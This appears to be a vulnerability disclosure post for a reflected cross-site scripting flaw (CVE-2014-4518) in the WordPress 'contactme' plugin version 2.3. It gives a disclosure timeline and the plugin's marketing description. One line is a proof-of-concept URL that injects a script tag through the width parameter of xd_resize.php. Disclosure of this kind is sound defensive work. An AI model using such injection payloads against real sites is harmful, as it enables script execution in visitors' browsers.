wp-plugin : contactme – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : contactme

 

Effected Version : 2.3 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Prajal Kulkarni

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 

http://127.0.0.1/wordpress/wp-content/plugins/contactme/xd_resize.php?width=1%27}%29%3C/script%3E%3Cscript%3Ealert%282%29%3C/script%3E&height=2

 

Disclosure Timeline

 

Vendor Contacted : 2013-12-13

 
Plugin Status : Closed on 2014-01-11
 
Public Disclosure : April 25, 2014
 
CVE Number : CVE-2014-4518

 
Plugin Description :
 
The quickest and easiest way to get a fully customizable contact form on your WordPress blog. Join over 100,000 users who have chosen ContactMe as their contact form of choice!

= The most robust FREE Contact Form plugin on Wordpress =

Our Contact Form plugin is packed with features that no other wordpress contact form offers. See below for just a few of the features we offer:

*  Add custom contact form fields including text, dropdown menus, radio buttons, checkboxes, date&time pickers and more!
*  Access all of your contact form settings and customizations from right within your Wordpress Admin Panel
*  Include your logo, map, business contact info,  even social links right on your contact form
*  Add a CAPTCHA to your contact form to kill spam
*  Setup an autoresponder for your contact form so your visitors get an instant message from you
*  Setup a custom success message or URL for your contact form
*  Get contact form notifications to your inbox and via SMS!
*  Add custom code or scripts to your contact form for tracking ROI campaigns
*  Add a custom tab “Contact” tab to the side of your website or blog that pops up your contact form and increases conversion!
*  ...and many more features for your contact form!

= More than a Contact Form =

Behind the contact form is a complete suite of online tools to effectively manage all of your leads, contacts, tasks, appointments, and more. As leads come in from your contact form, those contacts are automatically added to your online contacts database in your free ContactMe.com account.   From there, you can not only access your form submissions and contacts, but you can fully track, organize, and manage your communications by taking notes on the contact, creating a to-do list grouping and categorizing your contacts, and much more.

= Our Contact Form even supports the following 16 languages and counting! =

* English
* Arabic
* Bulgarian
* Dutch
* Espanol
* Francais
* Greek
* Italian
* Norwegian
* Polish
* Portugues
* Romanian
* Russian
* Slovenian
* Swedish
* Turkish

= What are you waiting for? =

ContactMe.com’s contact form is FREE and is the new standard in wordpress contact forms.  We think you will agree that its way better than anything else out there including contact form 7!

Leave a Reply

Your email address will not be published. Required fields are marked *